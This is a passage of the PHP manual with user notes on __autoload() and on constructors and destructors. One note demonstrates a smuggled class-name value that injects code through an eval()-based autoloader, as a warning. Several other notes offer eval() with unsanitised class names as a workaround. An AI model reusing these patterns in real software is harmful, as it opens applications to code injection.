        'Input'  => "io/class.Input.php",
        'Output' => "io/class.Output.php",
        'Parse'  => "io/parse/class.Parse.php"
    );
    public $Socket, $Input, $Output, $Parse; // Accessible by other classes

    public function __construct($load=false){
        if(is_array($load)){
            foreach($load as $class){
                if(isset($this->classes[$class])){
                    require($this->classes[$class]);
                    $this->$class = new $class($this);
                }
            }
        } else {
            foreach($this->classes as $class => $path){
                require($path);
                $this->$class = new $class($this);
            }
        }
    }
}
?>
kalkamar at web dot de 07-Oct-2008 10:23
Because static classes have no constructor I use this to initialize such classes.
The function init will (if available) be called when you first use the class.
The class must not be included before, otherwise the init-function wont be called as autoloading is not used.

<?php
function __autoload($class_name)
{
    require_once(CLASSES_PATH.$class_name.'.cls.php');
    if(method_exists($class_name,'init'))
        call_user_func(array($class_name,'init'));
    return true;
}
?>

I use it for example to establish the mysql-connection on demand.

It is also possilbe do add a destructor by adding this lines to the function:
<?php
if(method_exists($class_name,'destruct'))
    register_shutdown_function(array($class_name,'destruct'));
?>
jbarker at erepublic dot com 17-Sep-2008 08:34
In a subclass, I was trying to call an overridden parent method with an arbitrary number of arguments:

<?php
call_user_func_array(array('parent', 'someNonStaticMethod'), $args);
?>

It turns out this triggers an E_STRICT level warning. So I changed to this:

<?php
call_user_func_array(array($this, 'parent::someNonStaticMethod'), $args);
?>

This doesn't trigger any warnings, but it has the undesirable (if not downright buggy) effect of calling my __autoload() function with the argument 'parent'. I had to modify __autoload() to handle this special situation:

<?php
function __autoload($cls)
{
    if ('parent' != $cls)
    {
        require("class.$cls.php");
    }
}
?>

Tested on Linux with PHP 5.1.6 and 5.2.5.
andrzeje from wit.edu.pl 13-Sep-2008 08:18
Throwing versions of __autoload based on eval will fail if __autoload will be caled with interface name.
<?php
/* eval+throw __autoload
 */
class Cls implements Iface {/* ... */}; // Error
?>
sebasg37 at gmail dot com 23-Aug-2008 04:09
When __autoload doesn't seem to work or if you are in PHP 4:

<?php
$include_paths = explode( PATH_SEPARATOR , get_include_path() );
    foreach( $include_paths as $path ) {
        if( is_dir( $path ) ) {
            $d = opendir( $path );
            while (false !== ($f = readdir($d))) {
               if( ereg( "^.*\.php$" , $f ) && strstr( $path , ABS_PATH ) ) { ## avoid PEAR and other files for automatic requirement
                    require_once $f;
               }
            }
            closedir($d);
        }
    }

// replace ABS_PATH with your app root
?>
matias dot cohen at gmail dot com 01-Aug-2008 04:33
Another way of throwing exceptions inside an __autoload() function:
<?php

function myExceptionHandler($e) {
    // Add code here
}

set_exception_handler('myExceptionHandler');

function __autoload($class) {
    if (class_exists($class, false) || interface_exists($class, false)) {
        return;
    }
    try {
        @require_once('path/to/' . $class . '.php');
        if (!class_exists($class, false) || !interface_exists($class, false)) {
            throw new Exception('Class ' . $class . ' not found');
        }
    }
    catch (Exception $e) {

        myExceptionHandler($e);
    }
}

?>
chris (at) xeneco (dot) co (dot) uk 04-Jul-2008 06:21
I'm very taken with the autoload function, and thought I would share with you my implementation of it:
<?php
function __autoload($class_name) {

    //my settings class is a singleton instance that has parsed an ini file containing the locations of all classes
    $settings = Settings::Load();
    $classes = $settings->getSettings('classes');

    $path = $classes[$class_name];

    if(file_exists($path)) {
        require_once($path);
        return true;
    } else {
        clearstatcache();
        $classes = $settings->ReLoadSettings();
        $path = $classes['classes'][$class_name];
    }

    if(file_exists($path)) {
        require_once($path);
        return true;
    } else {
        die("The requested library,".$class_name.", could not be found at ".$classes[$class_name][$i].". Please check your ini file");
    }
}
?>
Chris Continanza 29-Apr-2008 11:43
Decided to warm up to autoload,
but wanted it to use the include_path.
Good default behavior.

function __autoload($class_name) {
      $include_path = get_include_path();
      $include_path_tokens = explode(':', $include_path);

      foreach($include_path_tokens as $prefix){
         $path = $prefix . '/' . $class_name . '.php';
         if(file_exists($path)){
            require_once $path;
            return;
          }
       }
  }
james dot dot dot dunmore at gmail dot com 18-Apr-2008 04:43
Andrew: 03-Nov-2006 12:26

That seems a bit messy to me, this is a bit neater:
<?php
    function __autoload($class_name)
    {
        //class directories
        $directorys = array(
            'classes/',
            'classes/otherclasses/',
            'classes2/',
            'module1/classes/'
        );

        //for each directory
        foreach($directorys as $directory)
        {
            //see if the file exsists
            if(file_exists($directory.$class_name . '.php'))
            {
                require_once($directory.$class_name . '.php');
                //only require the class once, so quit after to save effort (if you got more, then name them something else
                return;
            }
        }
    }
jjfitzgerald at gmail dot com 30-Jan-2008 07:39
Regardless of the situation you're in (developing a web-app or writing some code that may use someone else's web-app), always a good idea not to use __autoload() but instead write a differently-named function and register it as an autoloader:

<?php

function class_autoloader($c) {
    if(file_exists(dirname(__FILE__). "/classes/{$c}.php") && include_once(dirname(__FILE__). "/classes/{$c}.php")) {
        return true;
    } else {
        trigger_error("Could not load class '{$c}' from file '{$c}.php'", E_USER_WARNING);
        return false;
    }
}

spl_autoload_register("class_autoloader");

?>

Using spl_autoload_register(), the function class_autoloader() will now be used when classes are instantiated, just like __autoload() does, but without the potential conflict with other web-apps __autoload() function.
muratyaman at gmail dot com 28-Jan-2008 07:57
__autoload() function can be very useful to optimize your code esp. when you have so many classes.

Unlike class extensions, optional parameters with class restrictions may not load your class.

<?php
class bClass{
  function fun($p1, aClass $p2=NULL){
    //do something
  }
}

//depending on the usage
$b = new bClass();
$b->fun('No!');//this will not load class file for aClass
$b->fun('Really?', new aClass('Yes!'));//this will

?>

So, it's very encouraging to use classes everywhere!
Even encapsulating your functions inside simple classes to use like static modules, will help a lot!

Let's say, you have <b>50k</b> lines of code inside <b>100</b> classes/files.. If you need a simple task to do very quickly, you should not be loading all of those files, except the ones you need.

Though, it may be dangerous on some cases regarding the dependencies, load order, etc. Carefully design your classes.
Mexi-Fry 16-Jan-2008 05:19
Seems like a strange layer of obscurity to me (to be honest).  It would be really handy if that could be implemented and remain in memory though, enabling pages to instantiate classes without having to repeatedly include documents.  Being able to construct an object without having to include the document that contained it (AND without having to include that function in some form on each document) would be very nice.
boltclock aInACircle NOVALISTIC dot com 11-Jan-2008 09:31
You can allow __autoload() to throw exceptions without resulting in fatal errors by trying class_exists(), literally.

<?php

function __autoload($class)
{
    if (file_exists($file = "./inc/$class.php"))
    {
        include($file);
    }
    else
    {
        throw new Exception("Class $class not found");
    }
}

// By 'literally', I mean this
try
{
    // Since the second argument defaults to true, __autoload()
    // will be called from this function
    class_exists('MyClass');
}
catch (Exception $e)
{
    // Catch the exception and handle it as usual
    die($e->getMessage());
}

// Safely initialize an object from the class
$class = new MyClass();

?>
ostapk 19-Dec-2007 02:46
To sandrejev at gmail dot com below:

if you create the exception in the __autoload() and serialize it, then when you try to access the same missing class later (in another place in the code), then the exception will contain invalid stack trace.

Also, here's an excellent blog post that discusses the consequences of using eval() as well as provides an example to handle static method calls and namespaces: http://www.onphp5.com/article/61
richard [at ] xanox [dot] net 05-Dec-2007 07:46
I've made this little script here which looks in a dir, and loads all the classed, and includes their files.

$myDirectory = opendir("required/classes");

// get each entry
while($entryName = readdir($myDirectory)) {
    $dirArray[] = $entryName;
}

// close directory
closedir($myDirectory);

//    count elements in array
$indexCount    = count($dirArray);
sort($dirArray);

for($index=0; $index < $indexCount; $index++) {
    if($dirArray[$index] != '.' AND $dirArray[$index] != '..') {
        include("required/classes/$dirArray[$index]");
        $classname = strtolower($dirArray[$index]);
        $classname = str_replace('.php','',$classname);
        $classinit = str_replace('.php','',$dirArray[$index]);

        $$classname = new $classinit;
    }
}
rojoca 04-Oct-2007 08:38
Be careful when using eval (as always) in __autoload. The following:

<?php

echo 'Start->';

function __autoload($class) {
    eval('class ' . $class . ' {};');
}

$class = 'Class1{}; echo "uh oh"; class Class2';

$obj = new $class;

echo 'end';
?>

outputs:

Start->uh oh

You can use preg_replace to clean up $class to prevent executing abitrary code but in this case you won't be able to throw a catchable exception and your script will end with a fatal error.
christian.reinecke at web.de 23-Sep-2007 09:28
do not use is_subclass_of() in your __autoload() function to identify a class type and thereby its path (f.e exceptions). is_subclass_of() needs to know the class, but you want to check BEFORE you include the class.
knoopx at gmail dot com 06-Sep-2007 12:56
Quick and easiest way to be able to throw exceptions on __autoload() method:

<?php
function __autoload($class_name) {
     find_file($class_name); //your own routine to locate the class file
     if (!class_exists($class_name, false)) {
         eval("class $class_name {}");
         throw new Exception('Class not found');
     }
}
?>
rlee0001 at sbcglobal dot net 30-Aug-2007 01:16
If you would like __autoload to throw an exception when the class cannot be loaded instead of causing a fatal error, consider this:

<?php
function __autoload ($className)
{
    $fileName = str_replace('_', DIRECTORY_SEPARATOR, $className) . '.php';
    $status = (@include_once $fileName);

    if ($status === false) {
        eval(sprintf('class %s {func' . 'tion __construct(){throw new Project_Exception_AutoLoad("%s");}}', $className, $className));
    }
}

$pageController = 'Project_My_Class'; // "Project/My/Class.php"

try {
  $obj = new $pageController();
} catch (Project_Exception_AutoLoad $e) {
    header('HTTP/1.0 404 Not Found');
    printf('<h1>Not Found</h1><p>The requested page %s was not found on this server.</p><hr /><em>$id$</em>', $_SERVER['REQUEST_URI']);
}
?>
emcmanus at gmail dot com 16-Jul-2007 06:04
Note: if you're experiencing unexpected "failed opening required 'filename.php' (include..." errors:

If you placed your autoload function in an external file which you're requiring at the head of every script, be cautious of some odd behavior regarding PHP's idea of the current working directory.

I ran into some unexpected path issues when my include file was placed in a subdirectory directory. The solution to my problems was to make sure that the autoload script being included is in the same directory as the calling script.
peter dot gooman at gmail dot com 17-Jun-2007 08:33
Before you start using __autload, remember that it holds no scope/namespace. This means that if you are depending on third party applications and they have an autoload function defined and so do you, your application will error.

To remedy this, everyone should look at the spl_autoload functions, eg: spl_autoload_register. This function allows more than one custom functions to be called through the default spl_autoload (default __autoload) handler.
Andrea Giammarchi 21-Mar-2007 03:54
Another workaround for Exception problem (Klaus Schneider style)

<?php
define('CLASS_DIR', 'php/classes/');
function __autoload($name) {
    if($exists = !class_exists($name) && file_exists($class = CLASS_DIR.$name.'.class.php'))
        require $class;
    elseif(!$exists) {
        eval('class '.$name.' extends Exception {}');
        throw new $name('[__autoload] this file doesn\'t exists: '.$class);
    }
}

try {
    new Undefined;
}
catch(Undefined $e) {
    echo $e->getMessage();
}
// You should use generic Exception too
catch(Exception $e) {
    echo $e->getMessage();
}
?>
Klaus Schneider 01-Mar-2007 07:35
I just stumbled over one quite nice solution to the __autoload-exception problem.  It allows for any kind of exception to be thrown inside __autoload().

It appears one has to define the requested class (using "eval", which is not nice but inevitable here) and after that can simply throw an exception (and catch it if so desired):

<?php
function __autoload($className)
{
   // Do your stuff to load a class here, set $ok if everything went fine.
   if (! $ok) {
      eval("class $className{};");
      throw new Exception('My message');
   } // if
}

try {
   UndefinedClass::undefinedFunction();
} catch (Exception $ex) {
   echo $ex->getMessage();
} // try/catch
?>

Output: "My Message".

:-)
david dot thalmann at gmail dot com 02-Feb-2007 07:19
Note to Ricos posting:
A lot of useless Coding. However, I improved the code, so now it will be able to find any folders ("." and ".." will not being tested... oO) and search as deep as possible. Now it will find CLASS_DIR/foo/bar.class.php also like CLASS_DIR/foo/bar/baz/buz/fii/and/so/on/class.php

Warning: This code will check ALL dirs who're "deeper" / "lower" than the class dir, so prevent deeply hidden files (or use just a few folders).

Improved Version:
<?php

// change this, if this code isn't "higher" than ALL classfiles
define("CLASS_DIR", dirname(__FILE__));

/**
 * autoload classes (no need to include them one by one)
 *
 * @uses classFolder()
 * @param $className string
 */
function __autoload($className) {
    $folder = classFolder($className);

    if($folder)
        require_once($folder.$className.".class.php");
}

/**
 * search for folders and subfolders with classes
 *
 * @param $className string
 * @param $sub string[optional]
 * @return string
 */
function classFolder($className, $sub = "/") {
    $dir = dir(CLASS_DIR.$sub);

    if(file_exists(CLASS_DIR.$sub.$className.".class.php"))
        return CLASS_DIR.$sub;

    while(false !== ($folder = $dir->read())) {
        if($folder != "." && $folder != "..") {
            if(is_dir(CLASS_DIR.$sub.$folder)) {
                $subFolder = classFolder($className, $sub.$folder."/");

                if($subFolder)
                    return $subFolder;
            }
        }
    }
    $dir->close();
    return false;
}

?>
Rico 04-Jan-2007 05:00
This autoload function searches for the class Location before requiring it. So there's no need of putting the classes all in one folder.

Requirements:
 - the subfolders must be at least 3 letters long
 - the filenames must be in the form CLASSNAME.class.php

Note:
 - in this example the main class folder is 'lib'

define('ROOT_DIR', dirname(__FILE__).'/');

function __autoload($className) {
    $folder=classFolder($className);
    if($folder) require_once($folder.'/'.$className.'.class.php');
}

function classFolder($className,$folder='lib') {
    $dir=dir(ROOT_DIR.$folder);
    if($folder=='lib' && file_exists(ROOT_DIR.$folder.'/'.$className.'.class.php')) return $folder;
    else {
        while (false!==($entry=$dir->read())) {
            $checkFolder=$folder.'/'.$entry;
            if(strlen($entry)>2) {
                if(is_dir(ROOT_DIR.$checkFolder)) {
                    if(file_exists(ROOT_DIR.$checkFolder.'/'.$className.'.class.php')) return $checkFolder;
                    else {
                        $subFolder=classFolder($className,$checkFolder);
                        if($subFolder) return $subFolder;
                    }
                }
            }
        }
    }
    $dir->close();
    return 0;
}
sandrejev at gmail dot com 08-Nov-2006 11:23
Here is the most complete version of __autoload exception i guess.
The best thing is that it can throw any exception plus the exception is fully functional.

<?php
class AutoloadException extends Exception { }

class AutoloadExceptionRetranslator extends Exception
{
    public function __construct($serializedException)
    {
        throw unserialize($serializedException);
    }
}

function __autoload($classname)
{
    if(!file_exists($classname))
    {
        $autoloadException = serialize(new AutoloadException("Class $classname could not be found"));

        return eval("
            class $classname
            {
                function __construct(\$a=0, \$b=0, \$c=0, \$d=0, \$e=0, \$f=0, \$g=0, \$h=0, \$i=0)
                {
                    throw new AutoloadExceptionRetranslator('$autoloadException');
                }
            }
        ");
    }
    else
    {
        require_once $classname;
    }
}

try
{
    $anyObject = new AnyNonExistantClass();
}
catch (AutoloadException $e)
{
    print_r($e->getTrace());
}
?>
andrew dot delete dot cornes at gmail dot delete dot com 03-Nov-2006 04:26
If you'd like '__autoload()' to support multiple class folders, each containing multiple class files (one per class), you may want to try something like this (file '__autoload.php'):

<?php

define('CLASS_FILENAME_SUFFIX', '.class.php');

function __autoload($className)
{
    $__autoloadAbsolutePath = dirname(__FILE__);

    // 'pathStart' is your web application root folder.
    // (This may or may not be where '__autoload.php'
    // resides; let's assume here that it resides one
    // level 'below' the web app root.)
    $pathStart = $__autoloadAbsolutePath .
        DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR;

    // 'classPath' is a list of class folders to look in.
    // (In this example, there's just one: 'classlibs/lib1'.
    // To add more, simply append them; start with
    // 'PATH_SEPARATOR . $pathStart .', and off you go...)
    $classPath = PATH_SEPARATOR . $pathStart .
        'classlibs' . DIRECTORY_SEPARATOR . 'lib1';

    // Add list of class folders to 'include_path' for the
    // forthcoming 'require()' (or similar directive).
    $oldIncludePath = get_include_path();
    set_include_path($oldIncludePath . $classPath);

    require_once($className . CLASS_FILENAME_SUFFIX);

    // Reinstate initial 'include_path'.
    set_include_path($oldIncludePath);
}

?>

As your web application develops, new paths containing class files can be added into the '$classPath' variable within '__autoload()'. If hard-coding the '$classPath' variable isn't to your taste, you could arrange for its value to come from 'outside' in whatever way you like.

Any comments gratefully received.
Chris Corbyn (chris AT w3style.co.uk) 08-Sep-2006 06:23
I'm sure this is needed by more than me.

My objective was to allow __autoload() to be easily extended in complex systems/frameworks where specific libraries etc may need loading differently but you don't want to hard-code little adjustments into your working __autoload() to allow this to happen.

Using a ServiceLocator object with some static methods and properties to allow loosely coupled locators to be attached to it you can swap/change and add to the functionality of your __autoload() at runtime.

The core stuff:
<?php

/**
 * Defines the methods any actual locators must implement
 * @package ServiceLocator
 * @author Chris Corbyn
 */
interface Locator
{
    /**
     * Inform of whether or not the given class can be found
     * @param string class
     * @return bool
     */
    public function canLocate($class);
    /**
     * Get the path to the class
     * @param string class
     * @return string
     */
    public function getPath($class);
}

/**
 * The main service locator.
 * Uses loosely coupled locators in order to operate
 * @package ServiceLocator
 * @author Chris Corbyn
 */
class ServiceLocator
{
    /**
     * Contains any attached service locators
     * @var array Locator
     */
    protected static $locators = array();

    /**
     * Attach a new type of locator
     * @param object Locator
     * @param string key
     */
    public static function attachLocator(Locator $locator, $key)
    {
        self::$locators[$key] = $locator;
    }
    /**
     * Remove a locator that's been added
     * @param string key
     * @return bool
     */
    public static function dropLocator($key)
    {
        if (self::isActiveLocator($key))
        {
            unset(self::$locators[$key]);
            return true;
        }
        else return false;
    }
    /**
     * Check if a locator is currently loaded
     * @param string key
     * @return bool
     */
    public static function isActiveLocator($key)
    {
        return array_key_exists($key, self::$locators);
    }
    /**
     * Load in the required service by asking all service locators
     * @param string class
     */
    public function load($class)
    {
        foreach (self::$locators as $key => $obj)
        {
            if ($obj->canLocate($class))
            {
                require_once $obj->getPath($class);
                if (class_exists($class)) return;
            }
        }
    }
}

/**
 * PHPs default __autload
 * Grabs an instance of ServiceLocator then runs it
 * @package ServiceLocator
 * @author Chris Corbyn
 * @param string class
 */
function __autoload($class)
{
    $locator = new ServiceLocator();
    $locator->load($class);
}

?>

An example Use Case:
<?php

require 'ServiceLocator.php';

//Define some sort of service locator to attach...
class PearLocator implements Locator
{
    protected $base = '.';

    public function __construct($directory='.')
    {
        $this->base = (string) $directory;
    }

    public function canLocate($class)
    {
        $path = $this->getPath($class);
        if (file_exists($path)) return true;
        else return false;
    }

    public function getPath($class)
    {
        return $this->base . '/' . str_replace('_', '/', $class) . '.php';
    }
}

// ... attach it ...
ServiceLocator::attachLocator(new PearLocator(), 'PEAR');

// ... and code away....
$foo = new Foo_Test();

?>
gonix 03-Aug-2006 06:39
in response to alexey at renatasystems dot org:

You may add ``global $somedata;`` before ``$somedata = 'Some data';`` and it should work as expected.

file bar.class.php:

<?php

global $somedata;
$somedata = 'Some data';    /* global scope in common way */

class bar {

   function __construct()
   {
       global $somedata;    /* reference to global scope variable */

       if ( isset($somedata) )
       {
           var_dump($somedata);
       }
       else
       {
           die('No data!');
       }
   }
}
?>

'common way':
<?php

require 'bar.class.php';

$foo = new bar();

?>

'__autoload way':
<?php

function __autoload($classname)
{
   require $classname . '.class.php';
}

$foo = new bar();

?>

Both 'comon way' and '__autoload way' should give same result:
string(9) "Some data"
alexey at renatasystems dot org 06-Jul-2006 12:15
While using an "autoloading" method you should pay attention to variables scope. Because of new file will be included INSIDE of magic function __autoload - all of declared in such file global scope variables will be only available within this function and nowhere else. This will cause strange behaviour in some cases. For example:

file bar.class.php:

<?php

$somedata = 'Some data';     /* global scope in common way */

class bar {

    function __construct()
    {
        global $somedata;    /* reference to global scope variable */

        if ( isset($somedata) )
        {
            var_dump($somedata);
        }
        else
        {
            die('No data!');
        }
    }
}
?>

Attempt to load this file in common way:

<?php

require 'bar.class.php';

$foo = new bar();

?>

this will output (as expected):

string(9) "Some data"

But in case of __autoload:

<?php

function __autoload($classname)
{
    require $classname . '.class.php';
}

$foo = new bar();

?>

you could expect that this script will return the same but no, it will return "No data!", because defenition of $somedata after requiring treats as local within user-defined function __autoload().
RQuadling at GMail dot com 08-Mar-2006 12:55
An issue I've had with using the __autoload function is getting it into the application.

You have to have the function included in every topmost script. This is a pain if the entire application is OOP and an "app" can be just a component of another "app".

A solution I've found is to use php.ini's auto_prepend_file setting.

Mine is set to ...

auto_prepend_file = auto_loader.php

The auto_loader.php script contains a single function. The __autoload() function.

The include_dir path IS examined to find this file, so you can just put it with the rest of your includable files.

A useful additional facility here is that you could log which classes are used by a script at runtime. Very useful if you have object factories and can't know the load at design time.

Also, assigning the uncaught exception handler and the error handlers in this file means your entire site WILL have some global protection without you having to deal with it on a script by script basis.

If you do not have access to the PHP.INI file, or you are running on a shared server, you may not be able to set this property. In those cases, you may be able to set the value using .htaccess. (NOTE: UNTESTED as I don't use Apache).

<IfModule mod_php5.c>
  php_value auto_prepend_file "auto_loader.php"
</IfModule>

You COULD therefore have a different set of rules per subdomain (if you have multiple subdomains, say, live, test, beta, devel) or whatever takes your fancy.

For more details on this see the "Description of core php.ini directives" (http://www.php.net/manual/en/ini.core.php)
dave60 /at/ gmail /dot/ com 29-Dec-2005 01:25
In reply to quetzalcoatl:

Generally, I would advise for each class to have it's own file, and hold nothing besides that class. Just define __autoload() in a/the infrastructure file -- a/the file that does the behavioral logic, and there should be no need to redefine it in a class' file.
me at mydomain dot com 11-Nov-2005 04:07
You can enable this behaviour for undefined classes while unserializing objects by setting the .ini-variable 'unserialize_callback_func' to '__autoload'.
php at kaiundina dot de 20-Sep-2005 11:42
The autoload-feature allows to add the behavior of static constructors (like in C#). Static constructors should be called on the first occurence of a class reference - typically a 'new' operator or a static call to a class's operation.

They can be used used to initialize complex static properties.

And here is an easy and save way how it can be done:

Content of MyClass.class.php5:
<?php

// demo class persisting of a static and a dynamic constructor
class MyClass
{

    // static constructor operation
    public static function _construct()
    {
        // just say hello
        echo '<div>static constructor</div>';
    }

    // default dynamic constructor operation
    public function __construct()
    {
        // just say hello
        echo '<div>dynamic constructor</div>';
    }

}

?>

Content of index.php5:
<?php

// declare handler for any unknown class request
function __autoload($aClassName)
{
    // load the class
    require_once ($aClassName . '.class.php5');

    // create a reference to the static constructor's operation
    $staticConstructorReference = array($aClassName, '_construct');

    // if the static constructor was declared properly...
    if (is_callable($staticConstructorReference))
    {
        // call the static constructor
        call_user_func($staticConstructorReference);
    }
}

// create an example object to see both constructors being executed
$article = new MyObject();

?>
scott at webscott dot com 04-May-2005 05:40
__autoload() seems to work when saving objects as session variables as well:

classLoader.php
<?php
function __autoload($className) {
  require_once("$className.php");
}
?>

testClass.php
<?php
class testClass {
  function __construct($propValue) {
    $this->prop1 = $propValue;
  }

  function showProp() {
    return $this->prop1;
  }
}
?>

page1.php
<?php
require_once('classLoader.php');
session_start();
$_SESSION['testObj'] = new testClass('foo');
echo '<a href="page2.php">Go to page 2</a>';
?>

page2.php
<?php
require_once('classLoader.php');
session_start();
echo $_SESSION['testObj']->showProp(); // displays foo
?>

Works with multiple session objects as well.  Tested on a Win2k/IIS machine.
trini0 01-Feb-2005 08:04
Be careful with using that eval() trick within __autoload().
If you use reflection in your code, the so called trick,
*can* provide ill side effects.
For example ->
$reflection = new reflectionClass('some_class');
if (FALSE === $reflection->isSubClassOf('another_class'))
{
    throw new Exception('Class "some_class" must extend base class "another_class"');
}

If the real class "another_class" doesnt exist at the time, or "some_class" doesn't extend "another_class", with the reflection test, the so called eval() trick, creates a dummy "another_class",
thereby making the reflection test useless...
petyo()architect . bg 30-Jan-2005 01:27
The following function may be useful if you want to simulate namespaces and autoloading behavior:

define ("CLASS_ROOT", '/classes/');
function __autoload ($className)
{
    require_once CLASS_ROOT.str_replace('_', '/', $className).'.class.php';
}

Then you will just have to use the folder structure and name the classes accordingly. If you want to have a class named Page, which will be in the pseudo namespace System.Web.UI, create a directory named System in /classes, then create Web, then UI, then name the class System_Web_UI_Page. Kind of long to type if you don't have autocomplete, but at least you will not have to manage the loading of all the classes' definitions.
thomas dot revell at uwe dot ac dot uk 27-Jan-2005 06:31
If you want to throw an exception if a class isn't defined yet, use class_exists ():

<?php
// See if the class is defined
if (!class_exists ($className, false)) {
    throw new Exception ("Class $className is not defined.");
}
?>

The second parameter indicates whether or not the __autoload () function should be called before checking for the class's existence.
nhartkamp at eljakim dot N0SP4M dot nl 11-Dec-2004 09:14
The following might provide a good work-around for throwing exceptions from the __autoload function when a file containing the correct class doesn't exists.

function __autoload ($class_name) {
  $file = 'system/objects/' . $class_name . '.inc.php';
  if (!file_exists ($file)) {
    return eval ("class $class_name {" .
                 "  function $class_name () {" .
                 "    throw new Exception ();" .
                 "  }" .
                 "}");
  }
  require_once ($file);
}

Cheers,
Nolan
Class Constants
Constructors and Destructors
Classes and Objects


Constructors and Destructors

Constructor

void __construct ([ mixed $args [, $... ]] )

PHP 5 allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used.

Note: Parent constructors are not called implicitly if the child class defines a constructor. In order to run a parent constructor, a call to parent::__construct() within the child constructor is required.

Example #1 using new unified constructors

<?php
class BaseClass {
   function __construct() {
       print "In BaseClass constructor\n";
   }
}

class SubClass extends BaseClass {
   function __construct() {
       parent::__construct();
       print "In SubClass constructor\n";
   }
}

$obj = new BaseClass();
$obj = new SubClass();
?>

For backwards compatibility, if PHP 5 cannot find a __construct() function for a given class, it will search for the old-style constructor function, by the name of the class. Effectively, it means that the only case that would have compatibility issues is if the class had a method named __construct() which was used for different semantics.

Unlike with other methods, PHP will not generate an E_STRICT level error message when __construct() is overridden with different parameters than the parent __construct() method has.

As of PHP 5.3.3, methods with the same name as the last element of a namespaced class name will no longer be treated as constructor. This change doesn't affect non-namespaced classes.

Example #2 Constructors in namespaced classes

<?php
namespace Foo;
class Bar {
    public function Bar() {
        // treated as constructor in PHP 5.3.0-5.3.2
        // treated as regular method as of PHP 5.3.3
    }
}
?>

Destructor

void __destruct ( void )

PHP 5 introduces a destructor concept similar to that of other object-oriented languages, such as C++. The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence.

Example #3 Destructor Example

<?php
class MyDestructableClass {
   function __construct() {
       print "In constructor\n";
       $this->name = "MyDestructableClass";
   }

   function __destruct() {
       print "Destroying " . $this->name . "\n";
   }
}

$obj = new MyDestructableClass();
?>

Like constructors, parent destructors will not be called implicitly by the engine. In order to run a parent destructor, one would have to explicitly call parent::__destruct() in the destructor body.

The destructor will be called even if script execution is stopped using exit(). Calling exit() in a destructor will prevent the remaining shutdown routines from executing.

Note:

Destructors called during the script shutdown have HTTP headers already sent. The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache).

Note:

Attempting to throw an exception from a destructor (called in the time of script termination) causes a fatal error.

User Contributed Notes

philipwaynerollins at gmail dot com 21-Dec-2011 08:51
With the destructor if you're going to write to a file make sure you have the full file path and not just the filename, it seems PHP switches the working directory to the apache root directory when exiting the script.
kapsonfire at gmx dot de 05-Dec-2011 01:50
If you use __destruct in your script manually it's not automatically unset the $vars inside the the script.
For that you can use following script to clean up the class.

<?php
public function __destruct() {
        foreach ($this as $key => $value) {
            unset($this->$key);
        }
    }
?>
david dot scourfield at llynfi dot co dot uk 12-Aug-2011 04:17
Be aware of potential memory leaks caused by circular references within objects.  The PHP manual states "[t]he destructor method will be called as soon as all references to a particular object are removed" and this is precisely true: if two objects reference each other (or even if one object has a field that points to itself as in $this->foo = $this) then this reference will prevent the destructor being called even when there are no other references to the object at all.  The programmer can no longer access the objects, but they still stay in memory.

Consider the following example:

<?php

header("Content-type: text/plain");

class Foo {

    /**
     * An indentifier
     * @var string
     */
    private $name;
    /**
     * A reference to another Foo object
     * @var Foo
     */
    private $link;

    public function __construct($name) {
        $this->name = $name;
    }

    public function setLink(Foo $link){
        $this->link = $link;
    }

    public function __destruct() {
        echo 'Destroying: ', $this->name, PHP_EOL;
    }
}

// create two Foo objects:
$foo = new Foo('Foo 1');
$bar = new Foo('Foo 2');

// make them point to each other
$foo->setLink($bar);
$bar->setLink($foo);

// destroy the global references to them
$foo = null;
$bar = null;

// we now have no way to access Foo 1 or Foo 2, so they OUGHT to be __destruct()ed
// but they are not, so we get a memory leak as they are still in memory.
//
// Uncomment the next line to see the difference when explicitly calling the GC:
// gc_collect_cycles();
//
// see also: http://www.php.net/manual/en/features.gc.php
//

// create two more Foo objects, but DO NOT set their internal Foo references
// so nothing except the vars $foo and $bar point to them:
$foo = new Foo('Foo 3');
$bar = new Foo('Foo 4');

// destroy the global references to them
$foo = null;
$bar = null;

// we now have no way to access Foo 3 or Foo 4 and as there are no more references
// to them anywhere, their __destruct() methods are automatically called here,
// BEFORE the next line is executed:

echo 'End of script', PHP_EOL;

?>

This will output:

Destroying: Foo 3
Destroying: Foo 4
End of script
Destroying: Foo 1
Destroying: Foo 2

But if we uncomment the gc_collect_cycles(); function call in the middle of the script, we get:

Destroying: Foo 2
Destroying: Foo 1
Destroying: Foo 3
Destroying: Foo 4
End of script

As may be desired.

NOTE: calling gc_collect_cycles() does have a speed overhead, so only use it if you feel you need to.
misha at gmail dot com 08-Jul-2011 12:30
This is kinda weird to me as it is not obvious behavior....
Initiating constructor having no arguments, using call with parameters will not throw error/warning.

<?php

class A {

    # no arguments constructor
    function  __construct() {
        echo "WierdoO";
    }
}

$param = 1;

$a = new A( $param );
?>

// Output "WierdoO"

Notice that this anomaly is observed only for No Argument Constructor case.
boukeversteeg at gmail dot com 11-Apr-2011 07:12
Php 5.3.3 had a very strange bug, related to __destruct, but this bug was fixed in 5.3.6. This bug happened to me and it took me forever to figure it out, so I wanted to share it.

In short, don't unset properties in __destruct():
<?php
class Foobar {
    public $baz;
    function __destruct() {
        # Don't do either of these, if $baz also has a __destruct()!
        $this->baz = null;
        unset($this->baz);

        # Instead, don't clear it at all, or do this:
        $this->baz->__destruct();
    }
}
?>

If you made this mistake, this might happen in php<5.3.6:
<?php
# Some function that throws an exception
function fail($foobar) {
    throw new Exception("Exception A!");
}

$foobar = new Foobar();
$foobar->baz = new Foobar();

try {
    fail($foobar); // Send foobar to func that throws an Exception
} catch( Exception $e ) {
    print $e->getMessage(); // Exception A will be caught and printed, as expected.
}

$foobar = null; // clearing foobar, and its property $baz

try {
    print 'Exception B:';// this will be printed
    // output stops here.
    throw new Exception("Exception B!");
} catch( Exception $e ) {
    print $e->getMessage(); // doesn't happen
}
print 'End'; // this won't be printed
?>
phenixdoc at gmail dot com 11-Mar-2011 04:26
multiple constructors with type signetures (almost overloading):

<?php
public function __construct() {
        $args = func_get_args();
        $argsStr = '';
        foreach ($args as $arg) {
            $argsStr .= '_' . gettype($arg);
        }
        if (method_exists($this, $constructor = '__construct' . $argsStr))
            call_user_func_array(array($this, $constructor), $args);
        else
            throw new Exception('NO CONSTRUCTOR: ' . get_class() . $constructor, NULL, NULL);
    }

public function __construct_integer($a) {}
public function __construct_string($a) {}
